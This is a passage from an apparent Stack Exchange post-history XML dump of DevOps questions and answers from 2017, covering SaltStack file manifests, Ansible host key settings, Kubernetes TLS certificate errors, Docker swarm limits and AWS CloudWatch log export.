/opt/apiv2/repo/bootstrap.jar&#xD;&#xA;    73feffa4b7f6bb68e44cf984c85f6e88    /opt/apiv1/apiv1.properties&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Your *might* even be able to use templating,&#xD;&#xA;&#xD;&#xA;    apiv2-0.7.3.tar.gz:&#xD;&#xA;      file.managed:&#xD;&#xA;        - name: /tmp/apiv2-0.7.3.tar.gz&#xD;&#xA;        - source: salt:///apiv2/distrib/apiv2-0.7.3.tar.gz&#xD;&#xA;        - source_hash: salt:///apiv2/distrib/manifest-0.7.3.hash&#xD;&#xA;        - template: jinja&#xD;&#xA;&#xD;&#xA;however Salt Stack might want to push down the file each time because after the templates are rendered, the hash will have changed, so the creators might just have elected to throw an error if you try these two features together. In short, Your Mileage May Vary&lt;sup&gt;TM&lt;/sup&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5557" PostHistoryTypeId="24" PostId="1764" RevisionGUID="fd4dea65-eacc-430d-a1d2-8431bd23760a" CreationDate="2017-08-15T19:46:16.763" Comment="Proposed by 739 approved by 14, 40 edit id of 401" ContentLicense="CC BY-SA 3.0" />
  <row Id="5558" PostHistoryTypeId="8" PostId="1764" RevisionGUID="d52806ca-c001-4020-b6f8-748a72e72069" CreationDate="2017-08-15T20:29:36.663" UserId="2845" Comment="Rollback to [f5176744-133b-461b-a2a1-b5c0dedff746]" Text="Yes - there are at least two options available for managing files in the manner you describe. The first such way is to manage the entire directory using [file.directory](https://docs.saltstack.com/en/latest/ref/states/all/salt.states.file.html#salt.states.file.directory):&#xD;&#xA;&#xD;&#xA;    /opt/apiv2:&#xD;&#xA;      file.directory:&#xD;&#xA;        - user: root&#xD;&#xA;        - group: root&#xD;&#xA;        - dir_mode: 755&#xD;&#xA;        - file_mode: 644&#xD;&#xA;        - recurse:&#xD;&#xA;          - user&#xD;&#xA;          - group&#xD;&#xA;          - mode&#xD;&#xA;&#xD;&#xA;The second way can manage a manifest of several files at many paths is to use the `source_hash` feature of [file.managed](https://docs.saltstack.com/en/latest/ref/states/all/salt.states.file.html#salt.states.file.managed):&#xD;&#xA;&#xD;&#xA;This allows you to provide a source tar file and a file containing md5sum hashes:&#xD;&#xA;&#xD;&#xA;    apiv2-0.7.3.tar.gz:&#xD;&#xA;      file.managed:&#xD;&#xA;        - name: /tmp/apiv2-0.7.3.tar.gz&#xD;&#xA;        - source: salt:///apiv2/distrib/apiv2-0.7.3.tar.gz&#xD;&#xA;        - source_hash: salt:///apiv2/distrib/manifest-0.7.3.tar.gz&#xD;&#xA;&#xD;&#xA;You would then create a text file on your salt server /srv/salt/apiv2/distrib/manifest-0.7.3.hash with contents similar to:&#xD;&#xA;&#xD;&#xA;    37b51d194a7513e45b56f6524f2d51f2    /opt/apiv2/apiv2.properties&#xD;&#xA;    acbd18db4cc2f85cedef654fccc4a4d8    /opt/apiv2/repo/bootstrap.jar&#xD;&#xA;    73feffa4b7f6bb68e44cf984c85f6e88    /opt/apiv1/apiv1.properties&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Your *might* even be able to use templating,&#xD;&#xA;&#xD;&#xA;    apiv2-0.7.3.tar.gz:&#xD;&#xA;      file.managed:&#xD;&#xA;        - name: /tmp/apiv2-0.7.3.tar.gz&#xD;&#xA;        - source: salt:///apiv2/distrib/apiv2-0.7.3.tar.gz&#xD;&#xA;        - source_hash: salt:///apiv2/distrib/manifest-0.7.3.hash&#xD;&#xA;        - template: jinja&#xD;&#xA;&#xD;&#xA;however Salt Stack might want to push down the file each time because after the templates are rendered, the hash will have changed, so the creators might just have elected to throw an error if you try these two features together. In short, Your Mileage May Vary&lt;sup&gt;TM&lt;/sup&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5559" PostHistoryTypeId="5" PostId="1764" RevisionGUID="9a64520e-fb90-4dcf-9104-63575e743a8f" CreationDate="2017-08-15T20:30:28.353" UserId="2845" Comment="deleted 2 characters in body" Text="Yes - there are at least two options available for managing files in the manner you describe. The first such way is to manage the entire directory using [file.directory](https://docs.saltstack.com/en/latest/ref/states/all/salt.states.file.html#salt.states.file.directory):&#xD;&#xA;&#xD;&#xA;    /opt/apiv2:&#xD;&#xA;      file.directory:&#xD;&#xA;        - user: root&#xD;&#xA;        - group: root&#xD;&#xA;        - dir_mode: 755&#xD;&#xA;        - file_mode: 644&#xD;&#xA;        - recurse:&#xD;&#xA;          - user&#xD;&#xA;          - group&#xD;&#xA;          - mode&#xD;&#xA;&#xD;&#xA;The second way can manage a manifest of several files at many paths is to use the `source_hash` feature of [file.managed](https://docs.saltstack.com/en/latest/ref/states/all/salt.states.file.html#salt.states.file.managed):&#xD;&#xA;&#xD;&#xA;This allows you to provide a source tar file and a file containing md5sum hashes:&#xD;&#xA;&#xD;&#xA;    apiv2-0.7.3.tar.gz:&#xD;&#xA;      file.managed:&#xD;&#xA;        - name: /tmp/apiv2-0.7.3.tar.gz&#xD;&#xA;        - source: salt:///apiv2/distrib/apiv2-0.7.3.tar.gz&#xD;&#xA;        - source_hash: salt:///apiv2/distrib/manifest-0.7.3.hash&#xD;&#xA;&#xD;&#xA;You would then create a text file on your salt server /srv/salt/apiv2/distrib/manifest-0.7.3.hash with contents similar to:&#xD;&#xA;&#xD;&#xA;    37b51d194a7513e45b56f6524f2d51f2    /opt/apiv2/apiv2.properties&#xD;&#xA;    acbd18db4cc2f85cedef654fccc4a4d8    /opt/apiv2/repo/bootstrap.jar&#xD;&#xA;    73feffa4b7f6bb68e44cf984c85f6e88    /opt/apiv1/apiv1.properties&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Your *might* even be able to use templating,&#xD;&#xA;&#xD;&#xA;    apiv2-0.7.3.tar.gz:&#xD;&#xA;      file.managed:&#xD;&#xA;        - name: /tmp/apiv2-0.7.3.tar.gz&#xD;&#xA;        - source: salt:///apiv2/distrib/apiv2-0.7.3.tar.gz&#xD;&#xA;        - source_hash: salt:///apiv2/distrib/manifest-0.7.3.hash&#xD;&#xA;        - template: jinja&#xD;&#xA;&#xD;&#xA;however Salt Stack might want to push down the file each time because after the templates are rendered, the hash will have changed, so the creators might just have elected to throw an error if you try these two features together. In short, Your Mileage May Vary&lt;sup&gt;TM&lt;/sup&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5560" PostHistoryTypeId="5" PostId="1252" RevisionGUID="4e051d4c-d2ee-4f1e-b238-25ef4c3ac2c8" CreationDate="2017-08-15T20:52:57.713" UserId="144" Comment="fixed grammar" Text="This is typically done by setting the following value in `ansible.cfg`:&#xD;&#xA;&#xD;&#xA;    [defaults]&#xD;&#xA;    host_key_checking = False&#xD;&#xA;&#xD;&#xA;If you don't want to modify `ansible.cfg` you can set an environment variable like so:&#xD;&#xA;&#xD;&#xA;    export ANSIBLE_HOST_KEY_CHECKING=False&#xD;&#xA;&#xD;&#xA;Source: http://docs.ansible.com/ansible/intro_getting_started.html#host-key-checking" ContentLicense="CC BY-SA 3.0" />
  <row Id="5561" PostHistoryTypeId="2" PostId="1765" RevisionGUID="d3b8db81-c80f-4527-b20c-080b2bfc1959" CreationDate="2017-08-15T21:13:20.380" UserId="3956" Text="This is my first attempt at setting up a Kubernetes cluster in my test environment. In preperation, I created 3 instances running Fedora Atomic:&#xD;&#xA;&#xD;&#xA;    10.11.184.8: master/etcd&#xD;&#xA;    10.11.184.5: node01&#xD;&#xA;    10.11.184.6: node02&#xD;&#xA;&#xD;&#xA;Then using [contrib/ansible][1] playbooks for Ansible, I deployed kubernetes to my instances. It completed with &quot;0&quot; failures for each host.&#xD;&#xA;&#xD;&#xA;I then connect to my master and begin to check that status of it:&#xD;&#xA;&#xD;&#xA;    [root@kubemaster ~]# kubectl get cs&#xD;&#xA;    NAME                 STATUS    MESSAGE              ERROR&#xD;&#xA;    scheduler            Healthy   ok                   &#xD;&#xA;    controller-manager   Healthy   ok                   &#xD;&#xA;    etcd-0               Healthy   {&quot;health&quot;: &quot;true&quot;}  &#xD;&#xA;&#xD;&#xA;However, I go to check my nodes and it returns nothing:&#xD;&#xA;&#xD;&#xA;    [root@kubemaster ~]# kubectl get nodes&#xD;&#xA;    No resources found.&#xD;&#xA;&#xD;&#xA;I begin to check logs, and I find the below repeating over and over from all three of the IPs listed above:&#xD;&#xA;&#xD;&#xA;    http: TLS handshake error from 10.11.184.5:32788: remote error: tls: bad certificate&#xD;&#xA;&#xD;&#xA;It appears that the ansible playbook did generate some certificates:&#xD;&#xA;&#xD;&#xA;    [root@kubemaster ~]# ll /etc/kubernetes/certs/&#xD;&#xA;    total 40&#xD;&#xA;    -r--r-----. 1 kube kube-cert 1220 Aug 15 19:11 ca.crt&#xD;&#xA;    -r--r-----. 1 kube kube-cert 4417 Aug 15 19:11 kubecfg.crt&#xD;&#xA;    -r--r-----. 1 kube kube-cert 1704 Aug 15 19:11 kubecfg.key&#xD;&#xA;    -rw-rw----. 1 root kube-cert 4417 Aug 15 19:11 kubelet.crt&#xD;&#xA;    -rw-rw----. 1 root kube-cert 1704 Aug 15 19:11 kubelet.key&#xD;&#xA;    -r--r-----. 1 kube kube-cert 4917 Aug 15 19:11 server.crt&#xD;&#xA;    -r--r-----. 1 kube kube-cert 1704 Aug 15 19:11 server.key&#xD;&#xA;&#xD;&#xA;And the kube-apiserver binary is being passed these as a parameter:&#xD;&#xA;&#xD;&#xA;    /usr/bin/kube-apiserver --logtostderr=true --v=0 --etcd-servers=http://10.11.184.8:2379 --insecure-bind-address=127.0.0.1 --secure-port=443 --allow-privileged=true --service-cluster-ip-range=10.254.0.0/16 --admission control=NamespaceLifecycle,LimitRanger,ServiceAccount,ResourceQuota --tls-cert-file=/etc/kubernetes/certs/server.crt --tls-private-key-file=/etc/kubernetes/certs/server.key --client-ca-file=/etc/kubernetes/certs/ca.crt --token-auth-file=/etc/kubernetes/tokens/known_tokens.csv --service-account-key-file=/etc/kubernetes/certs/server.crt --bind-address=0.0.0.0 --apiserver-count=1&#xD;&#xA;&#xD;&#xA;If I view the logs on one of the nodes, I see a lot of messages like so:&#xD;&#xA;&#xD;&#xA;    Failed to list *v1.Node: Get https://10.11.184.8:443/api/v1/nodes?fieldSelector=metadata.name%3D10.11.184.8:443/api/v1/nodes?fieldSelector=metadata.name%3D10.11.184.5&amp;resourceVersion=0: x509: certificate is valid for 10.254.0.1, 192.168.0.11, 172.16.63.0, 172.16.63.1, not 10.11.184.8&#xD;&#xA;&#xD;&#xA;Is it likely that my certificates were not generated correctly? I am looking at this [documentation][2]. Perhaps I should attempt to manually create the certificates using openssl or easyrsa?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/kubernetes/contrib/tree/master/ansible&#xD;&#xA;  [2]: https://kubernetes.io/docs/admin/authentication/#authentication-strategies" ContentLicense="CC BY-SA 3.0" />
  <row Id="5562" PostHistoryTypeId="1" PostId="1765" RevisionGUID="d3b8db81-c80f-4527-b20c-080b2bfc1959" CreationDate="2017-08-15T21:13:20.380" UserId="3956" Text="New Kubernetes Cluster: remote error: tls: bad certificate" ContentLicense="CC BY-SA 3.0" />
  <row Id="5563" PostHistoryTypeId="3" PostId="1765" RevisionGUID="d3b8db81-c80f-4527-b20c-080b2bfc1959" CreationDate="2017-08-15T21:13:20.380" UserId="3956" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5564" PostHistoryTypeId="2" PostId="1766" RevisionGUID="e5f35e95-e9a9-420a-8273-b78d4b6205c0" CreationDate="2017-08-16T02:48:28.337" UserId="2845" Text="From the documentation you linked, it states,&#xD;&#xA;&#xD;&#xA;&gt;The referenced file must contain one or more certificates authorities to use to validate client certificates presented to the API server.&#xD;&#xA;&#xD;&#xA;This means your client's certificate is invalid because either:&#xD;&#xA;&#xD;&#xA; 1. The server doesn't trust the client's signing certificate authority&#xD;&#xA; 2. The client doesn't trust the server's signing certificate authority&#xD;&#xA; 3. The certificate's DN doesn't match the hostname&#xD;&#xA;&#xD;&#xA;The most likely scenario is that 1. The server doesn't trust the client's signing certificate authority since the server doesn't verify DNS for the client certificate and the error indicates this is a `remote error` not on the client. **Most likely this means the client's certificate was signed on the client itself, not on the server.**&#xD;&#xA;&#xD;&#xA;You will need to make sure to generate the certificate on the client, have the server sign it and then transfer the certificate back to the client. Otherwise, you need to [add the server's CA certificate to the Client's keystore.](https://stackoverflow.com/a/31124750/3127174). You can ensure you do not have a DNS/DN mismatch by setting hosts file entries." ContentLicense="CC BY-SA 3.0" />
  <row Id="5565" PostHistoryTypeId="2" PostId="1767" RevisionGUID="f5f4715c-32ec-4342-8b9c-e178abb785e9" CreationDate="2017-08-16T05:00:42.747" UserId="3178" Text="I'll give you my perspective. Developers should care about docker as there are other developers who are willing to use docker and have already built an expertise in it. They are willing to take up the roles of a devops engineer along with being a developer. So the Ops part of devops is what they are now building expertise on. These days, you'll find more and more guys who can develop, orchestrate, automate tests, automate jobs and build tools to monitor and take this complete package into production single-handedly. These are the guys who are pushing docker and other tools among the developer community. Also, the tide of market is towards virtualization, auto-scaling, automation, machine learning and docker fits in all of these. It has become very imperative to use docker. The businesses are willing to pay 2x for a single guy who takes all these responsibilities and when there is demand for such guys, the supply will also begin. This is from point of view of an employee-employer.&#xD;&#xA;Technically, in the organisations i have worked, there is a seperate development and devops team, although they work very closely for deliveries.&#xD;&#xA;The devops engineers and developers share a vast majority of skill-sets here and hence there is a negotiation of duties sometimes. &#xD;&#xA;The bare minimum a developer can do is to share his binaries, but he needs to understand that the binaries will be used to run inside a docker container and for that he needs to undestand how docker works. For kubes, swarms, mesos etc, the developer may not even care what's being used, but basics of docker should very well be understood by the developer and a mindset should be there from the begining to build the application loosesly coupled for re-use as micro-services. If the application is built from that mindset(which requires basics of docker), then the devops engineers can take it up from there to auto-scale, orchestrate, test, deploy and monitor. &#xD;&#xA;Also, most of the times there is no one size fits all kind of thing. A developer does not know clearly how to build a docker friendly app and a devops engineer quite rightly does not know the internals of the app building process. Hence, most of the times, organisations prefer to give both these tasks to the same guy to speed up the things. If there are seperate things, then a continuous feedback mechanism is required from the devops team to the dev team for making the apps more futuristic and docker/cloud/scaling ready." ContentLicense="CC BY-SA 3.0" />
  <row Id="5566" PostHistoryTypeId="5" PostId="1762" RevisionGUID="53a4e5fe-a4c0-42f7-8739-d36a6f4283fe" CreationDate="2017-08-16T06:54:14.297" UserId="3055" Comment="added 130 characters in body" Text="I asked a question recently regarding the most efficient and scalable way to check which files/services exist in multiple environments. Thanks to an answer I have successfully set up roles for all of my salt minions.&#xD;&#xA;&#xD;&#xA;I am now in the process of writing my first salt state which will check that all expected files/services are present for all minions with the `apiserver` role. &#xD;&#xA;&#xD;&#xA;I am using the `file.exists` feature, however as you can expect there are 100's of files/services I wish to check, I'm sure there must be a way of listing these files/services in a list or string? I can't find anything in the documentation under file.exists but it is possible in other file.&lt;method&gt;'s&#xD;&#xA;&#xD;&#xA;Here is the current state of my `init.sls` file:&#xD;&#xA;&#xD;&#xA;    # This state will check all minions identified as 'apiserver' for files and/or services which should exist&#xD;&#xA;&#xD;&#xA;    # This section checks the 'checkservices.sh' is present in /opt (used for Jenkins check jobs)&#xD;&#xA;&#xD;&#xA;    checkservices.sh:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/checkservices.sh&#xD;&#xA;&#xD;&#xA;    # This section checks for expected files/scripts within /opt/apiv2/&#xD;&#xA;&#xD;&#xA;    apiv2.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/apiv2/apiv2.properties&#xD;&#xA;&#xD;&#xA;    jvm.options:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/apiv2/jvm.options&#xD;&#xA;&#xD;&#xA;    restart.sh:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/apiv2/restart.sh&#xD;&#xA;&#xD;&#xA;    status.sh:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/apiv2/status.sh&#xD;&#xA;&#xD;&#xA;    shutdown.sh:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/apiv2/shutdown.sh&#xD;&#xA;&#xD;&#xA;    start.sh:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/apiv2/start.sh&#xD;&#xA;&#xD;&#xA;    # This section checks for 'bootstrap.jar' in /opt/apiv2/repo/&#xD;&#xA;&#xD;&#xA;    bootstrap.jar:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/apiv2/repo/bootstrap.jar&#xD;&#xA;&#xD;&#xA;My second question is; is my current method (above) considered bad practice or is it just an ugly/inefficient way of doing it?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5567" PostHistoryTypeId="2" PostId="1768" RevisionGUID="e2f1b7eb-8d9d-44f4-bda6-431c82e6d7cb" CreationDate="2017-08-16T08:28:55.283" UserId="3958" Text="I need some help and be pointed in the correct direction.&#xD;&#xA;&#xD;&#xA;I have 6 git repositories that together combine a bigger application (3 Node.js API, 2 React web apps and one repository for Ansible and templates for config files for the other repos).&#xD;&#xA;&#xD;&#xA;Currently we are building it only with Ansible and CircleCI but the current build process is not that great and I think of moving to Docker, docker-compose and CircleCI 2.0.&#xD;&#xA;&#xD;&#xA;The thing is: **how should I dockerize it?**&#xD;&#xA;&#xD;&#xA;All the databases are remote. How should I approach nginx?&#xD;&#xA;&#xD;&#xA;I thought about writing Dockerfiles for each application and then using Ansible to connect to host, install Docker, pull sources and start building containers from Dockerfiles.&#xD;&#xA;&#xD;&#xA;Nginx should be configured by Ansible on host or can it be made into a Docker container somehow?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5568" PostHistoryTypeId="1" PostId="1768" RevisionGUID="e2f1b7eb-8d9d-44f4-bda6-431c82e6d7cb" CreationDate="2017-08-16T08:28:55.283" UserId="3958" Text="Six repositories as a single deployment Docker+CircleCI" ContentLicense="CC BY-SA 3.0" />
  <row Id="5569" PostHistoryTypeId="3" PostId="1768" RevisionGUID="e2f1b7eb-8d9d-44f4-bda6-431c82e6d7cb" CreationDate="2017-08-16T08:28:55.283" UserId="3958" Text="&lt;docker&gt;&lt;ansible&gt;&lt;docker-compose&gt;&lt;circleci-2.0&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5570" PostHistoryTypeId="2" PostId="1769" RevisionGUID="456e26d8-9c36-4055-a618-d5b7e32e749f" CreationDate="2017-08-16T08:58:44.973" UserId="3869" Text="With Openstack Nova CLI I could set or get instance metadata with `nova meta set/get ...` but with the  openstack &quot;all-in-one&quot; CLI that option does not exist. &#xD;&#xA;&#xD;&#xA;Is it possible to work with instance metadata with the openstack client?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;PS: Someone with privileges to create tags could create `openstack` , `openstack-nova` and `openstack-cli` ?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5571" PostHistoryTypeId="1" PostId="1769" RevisionGUID="456e26d8-9c36-4055-a618-d5b7e32e749f" CreationDate="2017-08-16T08:58:44.973" UserId="3869" Text="openstack instance metadata" ContentLicense="CC BY-SA 3.0" />
  <row Id="5572" PostHistoryTypeId="3" PostId="1769" RevisionGUID="456e26d8-9c36-4055-a618-d5b7e32e749f" CreationDate="2017-08-16T08:58:44.973" UserId="3869" Text="&lt;cloud&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5573" PostHistoryTypeId="6" PostId="1769" RevisionGUID="6c0ff84d-fa61-43b4-820b-f7fa234904e4" CreationDate="2017-08-16T12:34:34.087" UserId="47" Comment="edited tags" Text="&lt;cloud&gt;&lt;openstack&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5574" PostHistoryTypeId="5" PostId="1539" RevisionGUID="cf0ad8ea-dd06-4c41-8d14-74c3a9a215ed" CreationDate="2017-08-16T15:56:48.043" UserId="3498" Comment="added 60 characters in body" Text="Few ideas to help you&#xD;&#xA;&#xD;&#xA;1. When you define a &quot;CodeBuild&quot; project, you can specify which base image it will use to execute your commands. The one you are using is not Ubuntu yet you are trying `apt-get`. Try a different base image.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;2. Provide us with a better log stream.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;### Exporting Logs from CloudWatch&#xD;&#xA;&#xD;&#xA;I found that the easiest way is to export logs through command-line:&#xD;&#xA;&#xD;&#xA; - click on 'View Logs' link, to find out your Log Group and Log Stream&#xD;&#xA; - install &quot;awscli&quot; and &quot;jq&quot;&#xD;&#xA;&#xD;&#xA;Run substituting your log-group-name and -log-stream-name:&#xD;&#xA;&#xD;&#xA;    aws logs get-log-events --log-group-name /aws/codebuild/Dumper  \&#xD;&#xA;        --log-stream-name 0bd74b8c-74b9-4f9b-b275-167b45901aa3 | \&#xD;&#xA;        jq '.events[].message' -r | grep -v '^$'&#xD;&#xA;&#xD;&#xA;This should give you the output, which you can include in the question." ContentLicense="CC BY-SA 3.0" />
  <row Id="5575" PostHistoryTypeId="5" PostId="1126" RevisionGUID="9be019ea-923f-472c-86d1-caccc43af956" CreationDate="2017-08-16T20:51:25.860" UserId="3542" Comment="edit error msg formatting, capitalization" Text="[According to this documentation][1] it is possible to remove a role from [Galaxy][2], but the following fails:&#xD;&#xA;&#xD;&#xA; - `ansible-galaxy login` succeeded&#xD;&#xA; - `ansible-galaxy delete 030 https://github.com/030/ansible-firewall` resulted in:&#xD;&#xA;&#xD;&#xA;&gt;ERROR! Galaxy user 030 does not have access to repo 030/https://github.com/030/ansible-firewall&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.ansible.com/ansible/galaxy.html#remove-an-installed-role&#xD;&#xA;  [2]: https://galaxy.ansible.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="5576" PostHistoryTypeId="4" PostId="1126" RevisionGUID="9be019ea-923f-472c-86d1-caccc43af956" CreationDate="2017-08-16T20:51:25.860" UserId="3542" Comment="edit error msg formatting, capitalization" Text="How to remove a non-existing GitHub Ansible role from Galaxy?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5577" PostHistoryTypeId="24" PostId="1126" RevisionGUID="9be019ea-923f-472c-86d1-caccc43af956" CreationDate="2017-08-16T20:51:25.860" Comment="Proposed by 3542 approved by 40, 47 edit id of 402" ContentLicense="CC BY-SA 3.0" />
  <row Id="5578" PostHistoryTypeId="2" PostId="1770" RevisionGUID="797d2bae-c310-4fb0-ab18-9e0646f4be98" CreationDate="2017-08-17T13:00:00.170" UserId="707" Text="This has been a Docker bug caused by jumbo Ethernet frames while using VPN which has now been fixed. Thanks Docker team!&#xD;&#xA;&#xD;&#xA;https://github.com/moby/moby/issues/34080" ContentLicense="CC BY-SA 3.0" />
  <row Id="5579" PostHistoryTypeId="2" PostId="1771" RevisionGUID="6e9203d5-4923-4b5c-9f62-7ef05c39068e" CreationDate="2017-08-17T14:19:38.367" UserId="3628" Text="I am currently using [TotalCloud][1] which integrates with AWS and CloudWatch. It is used for infrastructure monitoring and management in a single pane of glass.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://totalcloud.io" ContentLicense="CC BY-SA 3.0" />
  <row Id="5580" PostHistoryTypeId="2" PostId="1772" RevisionGUID="499be35a-c96c-4895-9675-22ad11e6dabc" CreationDate="2017-08-17T14:22:05.753" UserId="3628" Text="You can use emergent AI based alerts by [totalcloud][1]. You can customize the thresholds and see a dry run of the alarms too.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://totalcloud.io" ContentLicense="CC BY-SA 3.0" />
  <row Id="5581" PostHistoryTypeId="4" PostId="1714" RevisionGUID="0a65263e-eff1-4894-8282-390c8df90114" CreationDate="2017-08-17T14:26:27.423" UserId="60" Comment="edited title" Text="Definition of &quot;Done&quot; for DevOps" ContentLicense="CC BY-SA 3.0" />
  <row Id="5582" PostHistoryTypeId="33" PostId="1750" RevisionGUID="c79cae0b-f276-46e8-97c3-de11371c5e50" CreationDate="2017-08-17T17:09:51.303" UserId="60" Comment="5" />
  <row Id="5584" PostHistoryTypeId="50" PostId="1130" RevisionGUID="4b30633f-c91a-406e-b088-db089e91165e" CreationDate="2017-08-18T00:52:51.850" UserId="-1" />
  <row Id="5585" PostHistoryTypeId="2" PostId="1773" RevisionGUID="43e54352-9915-4539-9008-a83bd206789f" CreationDate="2017-08-18T01:14:27.263" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="5586" PostHistoryTypeId="1" PostId="1773" RevisionGUID="43e54352-9915-4539-9008-a83bd206789f" CreationDate="2017-08-18T01:14:27.263" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5587" PostHistoryTypeId="2" PostId="1774" RevisionGUID="02f7d00c-df50-4b70-a980-f5e6707162b3" CreationDate="2017-08-18T01:14:27.263" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="5588" PostHistoryTypeId="1" PostId="1774" RevisionGUID="02f7d00c-df50-4b70-a980-f5e6707162b3" CreationDate="2017-08-18T01:14:27.263" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5589" PostHistoryTypeId="5" PostId="1619" RevisionGUID="fe417d59-1570-4e30-9f70-10504349cfae" CreationDate="2017-08-18T01:38:30.527" UserId="3986" Comment="Directly link to the relevant part of the k8s docs" Text="I'm still looking for a merging/splitting approach myself, but meanwhile this approach recommended by Kubernetes documentation seems like a sound solution: [Use a sidecar container for each of your separate logs][1].&#xD;&#xA;&#xD;&#xA;A &quot;sidecar&quot; is any docker container that you use alongside another docker container to work with it in some way. In this case for each of your three logs you would have a separate container that scans or tails the logs and outputs to stdout. &#xD;&#xA;&#xD;&#xA;This way each of your log-sidecar-containers has its own docker-log from its own stdout. Being separate like this, you can use standard docker (and kubernetes, etc) practices for separating or aggregating. Here's what the Kubernetes page has to say:&#xD;&#xA;&#xD;&#xA;&gt; This approach allows you to separate several log streams from different parts of your application, some of which can lack support for writing to stdout or stderr. The logic behind redirecting logs is minimal, so it’s hardly a significant overhead. Additionally, because stdout and stderr are handled by the kubelet, you can use built-in tools like kubectl logs.&#xD;&#xA;&#xD;&#xA;The &quot;separate log streams&quot; stem from the built-in tagging that docker applies to logs from different containers, described in the [docker documentation here:][2]&#xD;&#xA;&#xD;&#xA;&gt; The tag log option specifies how to format a tag that identifies the&#xD;&#xA;&gt; container’s log messages. By default, the system uses the first 12&#xD;&#xA;&gt; characters of the container id. To override this behavior, specify a&#xD;&#xA;&gt; tag option&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/concepts/cluster-administration/logging/#using-a-sidecar-container-with-the-logging-agent&#xD;&#xA;  [2]: https://docs.docker.com/engine/admin/logging/log_tags/" ContentLicense="CC BY-SA 3.0" />
  <row Id="5590" PostHistoryTypeId="24" PostId="1619" RevisionGUID="fe417d59-1570-4e30-9f70-10504349cfae" CreationDate="2017-08-18T01:38:30.527" Comment="Proposed by 3986 approved by 46 edit id of 403" ContentLicense="CC BY-SA 3.0" />
  <row Id="5591" PostHistoryTypeId="5" PostId="1774" RevisionGUID="2563ee06-39d6-4260-a629-bab5beb773e8" CreationDate="2017-08-18T01:38:33.243" UserId="3823" Comment="added 176 characters in body" Text="YAML is a data serialization format designed for human readability. YAML is a recursive acronym for &quot;YAML Ain't Markup Language&quot;. JSON syntax is similar to and a subset of YAML" ContentLicense="CC BY-SA 3.0" />
  <row Id="5592" PostHistoryTypeId="24" PostId="1774" RevisionGUID="2563ee06-39d6-4260-a629-bab5beb773e8" CreationDate="2017-08-18T01:38:33.243" Comment="Proposed by 3823 approved by 46 edit id of 404" ContentLicense="CC BY-SA 3.0" />
  <row Id="5595" PostHistoryTypeId="2" PostId="1775" RevisionGUID="d4dd22e2-97a1-445f-9d4c-356e337631ad" CreationDate="2017-08-18T07:10:04.690" UserId="3985" Text="**TLDR: Docker wont spin up more then 250 containers.**&#xD;&#xA;&#xD;&#xA;I'm deploying a cluster of 3 docker services to a swarm with 2 nodes. 2 of the services need to contain 1 container (have a `replicas: 1` in the `docker-compose` file), and the third service need to have 300 containers (have a `replicas: 300` setting).&#xD;&#xA;&#xD;&#xA;The problem is it's spin up those 3 services, the first two with 1 container each (work like they should), and the third service spin up 248 containers out of 300 (I see this when I do `docker service ls`). I try to search if there is a limit of the service or swarm but couldn't find any.&#xD;&#xA;&#xD;&#xA;I will much appreciate any help I can get.&#xD;&#xA;&#xD;&#xA;* If it's matter, each node with a 30GB RAM and 8 cores, and I use only 1/3 of the RAM." ContentLicense="CC BY-SA 3.0" />
  <row Id="5596" PostHistoryTypeId="1" PostId="1775" RevisionGUID="d4dd22e2-97a1-445f-9d4c-356e337631ad" CreationDate="2017-08-18T07:10:04.690" UserId="3985" Text="Docker swarm stop spin up containers at 250" ContentLicense="CC BY-SA 3.0" />
  <row Id="5597" PostHistoryTypeId="3" PostId="1775" RevisionGUID="d4dd22e2-97a1-445f-9d4c-356e337631ad" CreationDate="2017-08-18T07:10:04.690" UserId="3985" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;docker-swarm&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5598" PostHistoryTypeId="2" PostId="1776" RevisionGUID="2b69b602-663f-4a30-ab49-9f28c95ff013" CreationDate="2017-08-18T09:16:40.820" UserId="3642" Text="The concept of the devops has arisen precisely because of the proliferation of agile, so it is appropriate to use the devops approaches in a agile.&#xD;&#xA;For example, with agile, continuous integration is used (which is part of the devops approach), orchestration of services and containers for testing and rolling out new releases for test and prod environments." ContentLicense="CC BY-SA 3.0" />
  <row Id="5599" PostHistoryTypeId="50" PostId="1561" RevisionGUID="cd4e82b5-76b3-4b72-b3d0-e89c581303a2" CreationDate="2017-08-18T11:16:18.217" UserId="-1" />
